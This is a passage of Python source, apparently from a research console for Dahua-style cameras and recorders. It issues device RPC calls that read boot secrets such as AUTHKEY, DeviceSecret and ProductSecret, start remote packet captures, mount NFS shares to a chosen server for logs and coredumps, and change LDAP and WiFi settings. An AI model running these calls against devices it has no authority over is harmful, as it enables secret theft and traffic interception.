        usage = {
            "show": "(Show config in script)",
            "set": "(Set config in device)",
            "get": "(Get config from device)",
            "del": "(Delete config in device)",
        }
        if len(cmd) == 1 or len(cmd) == 2 and cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        method_name = 'configManager'
        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')

        if cmd[1] == 'set' or cmd[1] == 'show':
            query_args = {
                "method": "configManager.setConfig",
                "params": {
                    "table": {
                        "Config": 31337,
                        "Enable": False,
                        "Description": "Just simple PoC",
                    },
                    "name": "Config_31337",
                },
                "object": object_id,
            }
            if cmd[1] == 'show':
                print(json.dumps(query_args, indent=4))
                return

            log.info("query: {} ".format(query_args))

            dh_data = self.send_call(query_args)
            if not dh_data:
                return
            print(json.dumps(dh_data, indent=4))

        elif cmd[1] == 'get':
            query_args = {
                "method": "configManager.getConfig",
                "params": {
                    "name": "Config_31337",
                },
                "object": object_id,
            }

            log.info("query: {} ".format(query_args))

            dh_data = self.send_call(query_args)
            if not dh_data:
                return

            print(json.dumps(dh_data, indent=4))

        elif cmd[1] == 'del':
            query_args = {
                "method": "configManager.deleteConfig",
                "params": {
                    "name": "Config_31337",
                },
                "object": object_id,
            }

            log.info("query: {} ".format(query_args))

            dh_data = self.send_call(query_args)
            if not dh_data:
                return

            print(json.dumps(dh_data, indent=4))

        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        self.instance_service(method_name, stop=True)

        return

    def set_ldap(self):
        """ LDAP test, seems not to be connecting """

        method_name = 'configManager'

        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        # https://www.forumsys.com/tutorials/integration-how-to/ldap/online-ldap-test-server/
        # ldapsearch -h ldap.forumsys.com -w password -D "uid=tesla,dc=example,dc=com" -b "dc=example,dc=com"
        query_args = {
            "method": "configManager.setConfig",
            "params": {
                "name": "LDAP",
                "table": [
                    {
                        "AnonymousBind": False,
                        "BaseDN": "ou=scientists,dc=example,dc=com",
                        "BindDN": "uid=tesla,ou=scientists,dc=example,dc=com",
                        "BindPassword": "password",
                        "Enable": True,
                        "Filter": "",
                        "Port": 389,
                        "Server": "192.168.5.11",
                        # "Server": "ldap.forumsys.com",
                    }
                ],
            },
            "object": object_id,
        }

        dh_data = self.send_call(query_args)
        print('LDAP', dh_data)
        if not dh_data:
            return False

        self.instance_service(method_name, stop=True)

        return True

    def set_debug(self):

        # cmd = msg.split()

        method_name = 'configManager'

        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        query_args = {
            "method": "configManager.setConfig",
            "params": {
                "name": "Debug",
                "table": {
                    "PrintLogLevel": 0,
                    # "enable":True,
                },
            },
            "object": object_id,
        }

        dh_data = self.send_call(query_args)
        if not dh_data:
            return False

        log.success("PrintLogLevel 0: {}".format(dh_data.get('result')))

        query_args = {
            "method": "configManager.setConfig",
            "params": {
                "name": "Debug",
                "table": {
                    "PrintLogLevel": 6,
                    # "enable":True,
                },
            },
            "object": object_id,
        }

        dh_data = self.send_call(query_args)
        if not dh_data:
            return False

        log.success("PrintLogLevel 6: {}".format(dh_data.get('result')))

        self.instance_service(method_name, stop=True)

        return True

    def u_boot(self, msg):

        cmd = msg.split()

        usage = {
            "printenv": "(Get all possible env config)",
            "setenv": "<variable> <value> (not working)",
            "getenv": "<variable>"
        }
        if len(cmd) == 1:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        method_name = 'magicBox'

        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        if cmd[1] == 'setenv':
            if not len(cmd) == 4:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            query_args = {
                "method": "magicBox.setEnv",
                "params": {
                    "name": cmd[2],
                    "value": cmd[3],
                    # "name":"loglevel",
                    # "value":"5",
                },
                "object": object_id,
            }

        #
        # Here we looking for the most common U-Boot enviroment variables, if you miss any, add it to the list here.
        #
        elif cmd[1] == 'printenv':  # OK: IPC/VTH/VTO, NOT: NVR

            query_args = {
                "method": "magicBox.getBootParameter",
                "params": {
                    "names": [
                        "algorithm",
                        "appauto",
                        "AUTHCODE",
                        "authcode",
                        "AUTHKEY",
                        "autogw",
                        "autolip",
                        "autoload",
                        "autonm",
                        "autosip",
                        "baudrate",
                        "bootargs",
                        "bootcmd",
                        "bootdelay",
                        "bootfile",
                        "BSN",
                        "coremnt",
                        "COUNTRYCODE",
                        "da",
                        "da0",
                        "dc",
                        "debug",
                        "devalias",
                        "DeviceID",
                        "deviceid",
                        "DeviceSecret",
                        "DEVID",
                        "devname",
                        "devOEM",
                        "dh_keyboard",
                        "dk",
                        "dl",
                        "dp",
                        "dr",
                        "DspMem",
                        "du",
                        "dvname",
                        "dw",
                        "encrypbackup",
                        "eth1addr",
                        "ethact",
                        "ethaddr",
                        "ext1",
                        "ext2",
                        "ext3",
                        "ext4",
                        "ext5",
                        "fd",
                        "fdtaddr",
                        "fileaddr",
                        "filesize",
                        "gatewayip",
                        "HWID",
                        "hwidEx",
                        "HWMEM",
                        "hxapppwd",
                        "icrtest",
                        "icrtype",
                        "ID",
                        "intelli",
                        "ipaddr",
                        "key",
                        "licence",
                        "loglevel",
                        "logserver",
                        "MarketArea",
                        "mcuDebug",
                        "mcuHWID",
                        "mdcmdline",
                        "Mem512M",
                        "mmc_root",
                        "mp_autotest",
                        "nand_root",
                        "netmask",
                        "netretry",
                        "OEI",
                        "partitions",
                        "PartitionVer",
                        "peripheral",
                        "productDate",
                        "ProductKey",
                        "ProductSecret",
                        "quickstart",
                        "randomcode",
                        "restore",
                        "SC",
                        "ser_debug",
                        "serverip",
                        "setargs_mmc",
                        "setargs_nand",
                        "setargs_spinor",
                        "SHWID",
                        "Speripheral",
                        "spinand_root",
                        "spinor_root",
                        "stderr",
                        "stdin",
                        "stdout",
                        "sysbackup",
                        "SysMem",
                        "tftptimeout",
                        "tk",
                        "TracingCode",
                        "tracode",
                        "uid",
                        "up",
                        "updatetimeout",
                        "UUID",
                        "vendor",
                        "ver",
                        "Verif_Code",
                        "verify",
                        "videodebug",
                        "watchdog",
                        "wifiaddr",
                        "COUNTRYCODE",

                        "HWID_ORG",  # MCW
                    ],
                },
                "object": object_id,
            }

        elif cmd[1] == 'getenv':
            if not len(cmd) == 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True
            # method = "magicBox.getEnv"  # should be
            method = "magicBox.getBootParameter"  # working too
            query_args = {
                "method": method,
                "params": {
                    "names": [cmd[2]],  # needed for magicBox.getBootParameter
                    # "name": cmd[2],  # needed for magicBox.getEnv
                },
                "object": object_id,
            }
        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        dh_data = self.send_call(query_args, errorcodes=True)
        if not dh_data:
            return False
        if dh_data.get('result'):
            print(json.dumps(dh_data, indent=4))
        elif not dh_data.get('result'):
            log.failure('Error: {}'.format(dh_data.get('error')))

        self.instance_service(method_name, stop=True)

        return

    #
    # tcpdump network capture from remote device
    #
    def network_sniffer_manager(self, msg):

        cmd = msg.split()

        usage = {
            "start": {
                "<nic> <path>": "[Wireshark capture filter syntax]"
            },
            "stop": "(stop remote pcap)",
            "info": "(info about remote pcap)"
        }
        if len(cmd) == 1 or cmd[1] == 'start' and not len(cmd) >= 4 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        method_name = 'NetworkSnifferManager'
        if not self.instance_service(method_name, pull='object'):
            self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        self.dh_sniffer_nic = 'eth0'

        # dh_sniffer_nic = "eth0"
        # dh_sniffer_path = "/nfs"
        # dh_sniffer_filter = ""
        # dh_sniffer_filter = \
        # "not host 192.168.57.20 and not host 192.168.57.7 and not host 192.168.57.167 and not host 192.168.57.27"

        if cmd[1] == 'start':

            if not self.interim_remote_diagnose("diag nfs status"):
                log.failure("NFS must be mounted with: diag nfs mount")
                return False

            self.dh_sniffer_nic = cmd[2]
            dh_sniffer_path = cmd[3]
            dh_sniffer_filter = ''
            if len(cmd) > 3:
                dh_sniffer_filter = ' '.join(cmd[4:])

            query_args = {
                "method": "NetworkSnifferManager.start",
                "params": {
                    "networkCard": self.dh_sniffer_nic,
                    "path": dh_sniffer_path,
                    "saveType": "Wireshark/Tcpdump",
                    "filter": dh_sniffer_filter,
                },
                "object": object_id,
            }

            dh_data = self.send_call(query_args)
            if not dh_data:
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                return False
            # print(json.dumps(dh_data,indent=4))

            if not dh_data.get('result'):
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                self.instance_service(method_name, stop=True)
                return False

            self.networkSnifferID = dh_data.get('params').get('networkSnifferID')
            log.info("({}) Start: ID: {}, NIC: {}, Path: {}, Filter: {}".format(
                cmd[0],
                self.networkSnifferID,
                query_args.get('params').get('networkCard'),
                query_args.get('params').get('path'),
                query_args.get('params').get('filter'),
            ))

        elif cmd[1] == 'info':

            query_args = {
                "method": "NetworkSnifferManager.getSnifferInfo",
                "params": {
                    "condition": {
                        "NetworkCard": self.dh_sniffer_nic,
                    },
                },
                "object": object_id,
            }

            dh_data = self.send_call(query_args)
            if not dh_data:
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                return False

            if not dh_data.get('result'):
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                self.instance_service(method_name, stop=True)
                return False

            sniffer_infos = dh_data.get('params').get('snifferInfos')
            if not len(sniffer_infos):
                log.info("No remote pcap running")
                return False

            self.networkSnifferID = sniffer_infos[0].get('NetworkSnifferID')
            self.networkSnifferPath = sniffer_infos[1].get('Path')
            log.info("({}) Info: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))

            return True

        elif cmd[1] == 'stop':

            if not self.network_sniffer_manager("pcap info"):
                return False

            query_args = {
                "method": "NetworkSnifferManager.stop",
                "params": {
                    "networkSnifferID": self.networkSnifferID,
                },
                "object": object_id,
            }

            dh_data = self.send_call(query_args)
            if not dh_data:
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                return False

            if not dh_data.get('result'):
                log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
                self.instance_service(method_name, stop=True)
                return False

            self.instance_service(method_name, stop=True)
            log.info("({}) Stopped: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))

        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))

        return

    #
    # Debug of remote device
    #
    def interim_remote_diagnose(self, msg):

        cmd = msg.split()

        usage = {
            "nfs": {
                "status": "(Check if NFS mounted)",
                "mount": "[<server host> /<server path>]",
                "umount": "(Umount NFS)",
            },
            "usb": {
                "get": "(Not done yet)",
                "set": "(Not done yet)",
            },
            "pcap": {
                "start": "(Start capture)",
                "stop": "(Stop capture)",
                "filter": "<get> | <set> <lo|eth0|eth2> <host>",
            },
            "coredump": {
                "start": "(Start coredump support)",
                "stop": "(Stop coredump support)",
            },
            "logs": {
                "start": "(Start redirect logs to NFS)",
                "stop": "(Stop redirect logs to NFS)",
            }
        }
        if len(cmd) < 2 or len(cmd) == 3 and cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        if not self.check_for_service('InterimRemoteDiagnose'):
            return False

        if cmd[1] == 'nfs':

            if not len(cmd) >= 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            if cmd[2] == 'status':

                query_args = {
                    "method": "InterimRemoteDiagnose.getConfig",
                    "params": {
                        "name": "InterimRDNfs",
                    },
                }
                dh_data = self.send_call(query_args)
                if dh_data:
                    dh_data = dh_data.get('params').get('DebugConfig')
                    log.info(
                        "NFS Directory: {}, Serverip: {}, Enable: {}".format(
                            dh_data.get('Directory'), dh_data.get('Serverip'), dh_data.get('Enable'))
                    )

                # {"result":true,"params":{"conn":true},"session":2103981993,"id":4}
                # {"result":true,"params":{"conn":false},"session":2103981993,"id":4}
                query_args = {
                    "method": "InterimRemoteDiagnose.testNfsStatus",
                    "params": {
                    },
                }
                dh_data = self.send_call(query_args)
                if dh_data:
                    log.info("NFS connected: {}".format(dh_data.get('params').get('conn')))
                    return dh_data.get('params').get('conn')

                log.failure('NFS status')
                return False

            elif cmd[2] == 'mount' or cmd[2] == 'umount':

                if len(cmd) >= 4:
                    if not check_ip(cmd[3]):
                        log.failure('"{}" is not valid host'.format(cmd[3]))
                        return False
                    if len(cmd) == 5 and not cmd[4][0] == '/':
                        log.failure('path must start with "/"'.format(cmd[4]))
                        return False

                query_args = {
                    "method": "InterimRemoteDiagnose.getConfig",
                    "params": {
                        "name": "InterimRDNfs",
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                debug_config = dh_data.get('params').get('DebugConfig')

                debug_config['Enable'] = True if cmd[2] == 'mount' else False
                debug_config.update({"Serverip": cmd[3] if len(cmd) >= 4 else debug_config.get('Serverip')})
                debug_config.update({"Directory": cmd[4] if len(cmd) == 5 else debug_config.get('Directory')})

                query_args = {
                    "method": "InterimRemoteDiagnose.setConfig",
                    "params": {
                        "name": "InterimRDNfs",
                        "DebugConfig": {
                            # Default config
                            # "Directory":"/c/public_dev",
                            # "Enable":False,
                            # "Serverip":"10.33.12.137"
                        },
                    },
                }
                query_args.get('params').get('DebugConfig').update(debug_config)

                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("NFS {}: {}".format('mount' if cmd[2] == 'mount' else 'umount', dh_data.get('result')))
                return True
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

        elif cmd[1] == 'usb':

            if not len(cmd) == 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            if cmd[2] == 'get':

                # {"result":true,"params":{"UStoragePosition":['/dev/sdb1', '/dev/sdc1']},"session":1217107065,"id":4}
                # {"result":true,"params":{"UStoragePosition":null},"session":1413317462,"id":4}
                query_args = {
                    "method": "InterimRemoteDiagnose.getUStoragePosition",
                    "params": {
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info(
                    "USB Storage: {}".format(
                        dh_data.get('params').get('UStoragePosition')
                        if dh_data.get('params').get('UStoragePosition') else "Not found")
                )
                return True
            elif cmd[2] == 'set':
                # error: {'code': 268959743, 'message': 'Unknown error! error code was not set in service!'}
                query_args = {
                    "method": "InterimRemoteDiagnose.setUStoragePosition",
                    "params": {
                        "UStoragePosition": "/dev/sdb1",
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("USB Storage: {}".format(dh_data))
                return True
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return False

        elif cmd[1] == 'pcap':

            if not len(cmd) >= 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            if cmd[2] == 'filter':
                if not len(cmd) >= 4:
                    log.info('{}'.format(help_all(msg=msg, usage=usage)))
                    return False

                if cmd[3] == 'get':
                    query_args = {
                        "method": "InterimRemoteDiagnose.getConfig",
                        "params": {
                            "name": "InterimRDNetFilter",
                        },
                    }
                    dh_data = self.send_call(query_args)
                    if not dh_data:
                        return False
                    log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config')))
                    return True

                elif cmd[3] == 'set':

                    #
                    # Might be more dh_data in the future, read and update only what we know
                    # Leave possible other untouched
                    #

                    query_args = {
                        "method": "InterimRemoteDiagnose.getConfig",
                        "params": {
                            "name": "InterimRDNetFilter",
                        },
                    }
                    dh_data = self.send_call(query_args)
                    if not dh_data:
                        return False

                    pcap_iface = 'eth0'
                    pcap_filter_ip = ''

                    # Default
                    # Name = 'eth0'
                    # FilterIP = '10.33.12.137'
                    # FilterPort = '37777'

                    debug_config = dh_data.get('params').get('DebugConfig')
                    debug_config.update({"FilterIP": pcap_filter_ip})
                    # debug_config.update({"FilterPort":FilterPort})	# Cannot be changed from 37777
                    debug_config.update({"Name": pcap_iface})

                    query_args = {
                        "method": "InterimRemoteDiagnose.setConfig",
                        "params": {
                            "name": "InterimRDNetFilter",
                            "DebugConfig": debug_config,
                        },
                    }
                    dh_data = self.send_call(query_args)
                    if not dh_data:
                        return False
                    log.info("PCAP Filter: {}".format(debug_config))
                    return True

            elif cmd[2] == 'start':

                if not self.interim_remote_diagnose("diag nfs status"):
                    log.failure("NFS must be mounted with: diag nfs mount")
                    return False

                query_args = {
                    "method": "InterimRemoteDiagnose.getConfig",
                    "params": {
                        "name": "InterimRDNetFilter",
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False

                log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config')))

                query_args = {
                    # {"result":true,"params":null,"session":336559066,"id":4}
                    "method": "InterimRemoteDiagnose.startRemoteCapture",
                    "params": {
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("PCAP Start: {}".format(dh_data.get('result')))
                return True

            elif cmd[2] == 'stop':
                query_args = {
                    # {"result":true,"params":null,"session":468902923,"id":4}
                    "method": "InterimRemoteDiagnose.stopRemoteCapture",
                    "params": {
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("PCAP Stop: {}".format(dh_data.get('result')))
                return True
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

        elif cmd[1] == 'coredump':

            if not self.args.force:
                log.failure("({}) will reboot NVR (force with -f)".format(cmd[1]))
                return False

            if not len(cmd) >= 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            if cmd[2] == 'start' or cmd[2] == 'stop':

                query_args = {
                    "method": "InterimRemoteDiagnose.setConfig",
                    "params": {
                        "name": "InterimRDCoreDump",
                        "DebugConfig": {
                            "Enable": True if cmd[2] == 'start' else False,
                        },
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("CoreDump {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result')))
                return True
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return False

        elif cmd[1] == 'logs':

            if not len(cmd) == 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            if not self.interim_remote_diagnose("diag nfs status"):
                log.failure("NFS must be mounted")
                return False

            if cmd[2] == 'start' or cmd[2] == 'stop':

                query_args = {
                    "method": "InterimRemoteDiagnose.setConfig",
                    "params": {
                        "name": "InterimRDPrint",
                        "DebugConfig": {
                            "AlwaysEnable": False,
                            "OnceEnable": True if cmd[2] == 'start' else False,
                            "PrintLevel": 6
                        },
                    },
                }
                dh_data = self.send_call(query_args)
                if not dh_data:
                    return False
                log.info("Logs {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result')))
                return True
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

        else:
            log.failure('No such command: {}'.format(msg))
            # log.info('{}'.format(help_all(msg=msg,usage=usage)))
            return True

    def net_app(self, msg, callback=False):

        #
        # Should need to have events subscribed
        #
        if callback:
            print(json.loads(msg, indent=4))
            return True

        cmd = msg.split()
        dh_data = None
        nic = None
        net_resource_stat = None

        usage = {
            "info": "(Network Information)",
            "wifi": {
                "enable": "(enable adapter)",
                "disable": "(disable adapter)",
                "scan": "(scan for WiFi AP)",
                "conn": "<SSID> <key>",
                "disc": "(disconnect from WiFi AP)",
                "reset": "(reset WiFi settings to default)",
            },
            "upnp": {
                "status": "(show UPnP status)",
                "enable": "[all] (enable UPnP)",
                "disable": "[all] (disable UPnP)"
            }
        }

        if not len(cmd) >= 2 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        method_name = 'netApp'

        if not self.instance_service(method_name, pull='object'):
            self.instance_service(method_name, start=True)

        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        query_args = {
            "method": "netApp.getNetInterfaces",
            "params": {
            },
            "object": object_id,
        }
        net_interface = self.send_call(query_args)

        if cmd[1] == 'wifi':

            if not len(cmd) >= 3 or cmd[1] == '-h':
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                self.instance_service(method_name, stop=True)
                return True

            wireless_nic = False

            for nic in net_interface.get('params').get('netInterface'):
                if nic.get('Type') == 'Wireless':
                    wireless_nic = nic.get('Name')

            if not wireless_nic:
                log.failure("No WiFi adapter available")
                return False

            auth_encryption = {
                "00": "Off",
                "01": "WEP-OPEN",
                "11": "WEP-SHARED",
                "32": "WPA-PSK-TKIP",
                "33": "WPA-PSK-TKIP+AES",
                "34": "WPA-PSK-TKIP+AES",
                "42": "WPA2-TKIP",
                "52": "WPA2-PSK-TKIP",
                "53": "WPA2-PSK-AES",
                "54": "WPA2-PSK-TKIP+AES",
                "72": "WPA/WPA2-PSK-TKIP",
                "73": "WPA/WPA2-PSK-AES",
                "74": "WPA/WPA2-PSK-TKIP+AES",
            }
            link_mode = {
                "0": "Auto",
                "1": "Ad-hoc",
                "2": "Infrastructure",
            }

            if len(cmd) == 3 and cmd[2] == 'scan':

                query_args = {
                    "method": "netApp.scanWLanDevices",
                    "params": {
                        "Name": wireless_nic,
                        "SSID": "",
                    },
                    "object": object_id,
                }
                dh_data = self.send_call(query_args)
                if not dh_data.get('params').get('wlanDevice'):
                    log.failure("No WiFi available")
                    return False

                wlan_device = dh_data.get('params').get('wlanDevice')
                for wifi_ap in wlan_device:
                    log.success(
                        "BSSID: {} RSSI: {} Strength: {} Quality: {} Connected: {} SSID: {}\n"
                        "MaxBitRate: {} Mbit NetWorkType: {} Connect Mode: {} Authorize Mode: {}".format(
                            color(wifi_ap.get('BSSID'), GREEN),
                            color(wifi_ap.get('RSSIQuality'), GREEN),
                            color(wifi_ap.get('Strength'), GREEN),
                            color(wifi_ap.get('LinkQuality'), GREEN),
                            color(bool(wifi_ap.get('ApConnected')), GREEN if wifi_ap.get('ApConnected') else RED),
                            color(wifi_ap.get('SSID'), GREEN),
                            color(str(int(wifi_ap.get('ApMaxBitRate')) / 1000000).split('.')[0], GREEN),

                            color(wifi_ap.get('ApNetWorkType'), GREEN),
                            color(link_mode.get(str(wifi_ap.get('link_mode'))), GREEN),
                            color(auth_encryption.get(
                                str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr')), "UNKNOWN"), GREEN)
                        ))

            elif len(cmd) == 5 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] in [
                    'enable', 'disable', 'conn', 'disc', 'reset']:

                if cmd[2] == 'conn' and len(cmd) == 5:

                    query_args = {
                        "method": "netApp.scanWLanDevices",
                        "params": {
                            "Name": wireless_nic,
                            "SSID": cmd[3],
                        },
                        "object": object_id,
                    }
                    self.send_call(query_args, multicall=True)

                query_args = {
                    "method": "configManager.getDefault" if cmd[2] == 'reset' else "configManager.getConfig",
                    "params": {
                        "name": "WLan",
                    },
                }
                dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
                if not dh_data:
                    log.failure("(WLan) {}".format(dh_data))
                    return False

                wlan = dh_data.get('WLan').get('params').get('table').get(wireless_nic)

                if len(cmd) == 3 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] == 'disc':
                    if wlan.get('SSID'):
                        if nic.get('ConnStatus') == 'Connected' and cmd[2] == 'conn':
                            log.failure("Already Connected")
                            return False
                        elif nic.get('ConnStatus') == 'Disconn' and cmd[2] == 'disc':
                            log.failure("Already Disconnected")
                            return False
                        elif not wlan.get('Enable'):
                            log.failure("WiFi disabled")
                            return False
                        wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False
                    else:
                        log.failure("Wireless not configured")
                        return False
                elif len(cmd) == 3 and cmd[2] == 'enable' or len(cmd) == 3 and cmd[2] == 'disable':
                    if wlan.get('Enable') and cmd[2] == 'enable':
                        log.failure("Already Enabled")
                        return False
                    elif not wlan.get('Enable') and cmd[2] == 'disable':
                        log.failure("Already Disabled")
                        return False
                    wlan['Enable'] = True if cmd[2] == 'enable' else False

                if cmd[2] == 'conn' and len(cmd) == 5:
                    if not dh_data.get('netApp.scanWLanDevices').get('result'):
                        log.failure('Wrong SSID and/or AP not accessible')
                        return False

                    wifi_ap = dh_data.get('netApp.scanWLanDevices').get('params').get('wlanDevice')[0]

                    wlan['Encryption'] = auth_encryption.get(
                        str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr'))) if cmd[2] == 'conn' else 'Off'
                    wlan['link_mode'] = link_mode.get(str(wifi_ap.get('link_mode')))
                    wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False
                    wlan['KeyFlag'] = True if cmd[2] == 'conn' else False
                    wlan['SSID'] = wifi_ap.get('SSID') if cmd[2] == 'conn' else ''
                    wlan['Keys'][0] = cmd[4] if cmd[2] == 'conn' else 'abcd'

                query_args = {
                    "method": "configManager.setConfig",
                    "params": {
                        "name": "WLan",
                        "table": dh_data.get('WLan').get('params').get('table'),
                    },
                }

                dh_data = self.send_call(query_args)

                if not dh_data or not dh_data.get('result'):
                    log.failure('TimeOut for "{}" (wrong pwd?)'.format(wlan.get('SSID')))
                    log.failure("dh_data: {}".format(dh_data))
                    return False

                if cmd[2] == 'conn' and wlan.get('Enable')\
                        or cmd[2] == 'enable' and wlan.get('SSID') and wlan.get('ConnectEnable'):
                    conn = log.progress("Status")

                    while True:
                        query_args = {
                            "method": "netApp.getNetInterfaces",
                            "params": {
                            },
                            "object": object_id,
                        }
                        dh_data = self.send_call(query_args)

                        for nic in dh_data.get('params').get('net_interface'):
                            if not nic.get('Type') == 'Wireless':
                                continue
                            conn.status(nic.get('ConnStatus'))
                            if nic.get('ConnStatus') == 'Connected':
                                conn.success('Connected')
                                return True
                            time.sleep(1)
                else:
                    self.instance_service(method_name, stop=True)
                    log.success("Success")

            # ConfigManager.getConfig("AccessPoint")
            # ConfigManager.getConfig("WLan")

            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True
        elif cmd[1] == 'info':

            for nic in net_interface.get('params').get('netInterface'):

                net_appmethod = {
                    "netApp.getNetDataStat",
                    "netApp.getNetResourceStat",
                    "netApp.getCaps",
                }

                for method in net_appmethod:
                    query_args = {
                        "method": method,
                        "params": {
                            "Name": nic.get('Name'),
                        },
                        "object": object_id,
                    }
                    self.send_call(query_args, multicall=True)

                query_args = {
                    "method": "configManager.getConfig",
                    "params": {
                        "name": "Network",
                    },
                }

                dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
                # print(json.dumps(dh_data,indent=4))

                net_data_stat = dh_data.get('netApp.getNetDataStat').get('params')
                net_resource_stat = dh_data.get('netApp.getNetResourceStat').get('params')
                nic_iface = dh_data.get('Network').get('params').get('table').get(nic.get('Name'))

                link_info = "Link support long PoE: {}, connection: {}, speed: {}".format(
                    nic.get('SupportLongPoE'),
                    nic.get('Type') if nic.get('Type') == 'Wireless' else 'Wired',
                    nic.get('Speed'),
                )

                log.success(
                    "\033[92m[\033[91m{}\033[92m]\033[0m {}{}\ndhcp: {} dns: [{}] mtu: {}\n"
                    "inet {} netmask {} gateway {}\nether {} txqueuelen {}\n"
                    "RX packets {} bytes {} ({}) util {} Kbps\n"
                    "RX errors {} dropped {} overruns {} frame {}\n"
                    "TX packets {} bytes {} ({}) util {} Kbps\n"
                    "TX errors {} dropped {} carrier {} collisions {}\n{}".format(
                        nic.get('Name'),
                        color(nic.get('ConnStatus'), GREEN if nic.get('ConnStatus') == 'Connected' else RED),
                        color(
                            " (SSID: {})".format(nic.get('ApSSID'))
                            if nic.get('ConnStatus') == 'Connected' and nic.get('Type') == 'Wireless' else '',
                            LBLUE),

                        nic_iface.get('DhcpEnable'),
                        ', '.join(str(x) for x in nic_iface.get('DnsServers')),
                        nic_iface.get('MTU'),
                        nic_iface.get('IPAddress'),
                        nic_iface.get('SubnetMask'),
                        nic_iface.get('DefaultGateway'),
                        nic_iface.get('PhysicalAddress'),

                        net_data_stat.get('Transmit').get('txqueuelen'),
                        net_data_stat.get('Receive').get('packets'),
                        net_data_stat.get('Receive').get('bytes'),
                        size(net_data_stat.get('Receive').get('bytes')),
                        net_data_stat.get('Receive').get('speed'),

                        net_data_stat.get('Receive').get('errors'),
                        net_data_stat.get('Receive').get('droped'),
                        net_data_stat.get('Receive').get('overruns'),
                        net_data_stat.get('Receive').get('frame'),

                        net_data_stat.get('Transmit').get('packets'),
                        net_data_stat.get('Transmit').get('bytes'),
                        size(net_data_stat.get('Transmit').get('bytes')),
                        net_data_stat.get('Transmit').get('speed'),

                        net_data_stat.get('Transmit').get('errros'),  # consistent.. d0h!
                        net_data_stat.get('Transmit').get('droped'),
                        net_data_stat.get('Transmit').get('collisions'),
                        net_data_stat.get('Transmit').get('txqueuelen'),
                        link_info,
                    ))

            net_resource_info = \
                "IP Channel In: {}, Net Capability: {}, Net Remain: {}\n" \
                "Remote Preview: {}, Send Capability: {}, Send Remain {}".format(
                    net_resource_stat.get('IPChanneIn'),
                    net_resource_stat.get('NetCapability'),
                    net_resource_stat.get('NetRemain'),
                    net_resource_stat.get('RemotePreview'),
                    net_resource_stat.get('RemoteSendCapability'),
                    net_resource_stat.get('RemoteSendRemain'),
                )

            log.success("\033[92m[\033[91mInfo\033[92m]\033[0m default nic: {}, hostname: {}, domain: {}\n{}".format(
                dh_data.get('Network').get('params').get('table').get('DefaultInterface'),
                dh_data.get('Network').get('params').get('table').get('Hostname'),
                dh_data.get('Network').get('params').get('table').get('Domain'),
                net_resource_info,
            ))

            self.instance_service(method_name, stop=True)

        elif cmd[1] == 'upnp':

            if not len(cmd) == 3:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                self.instance_service(method_name, stop=True)
                return False

            query_args = {
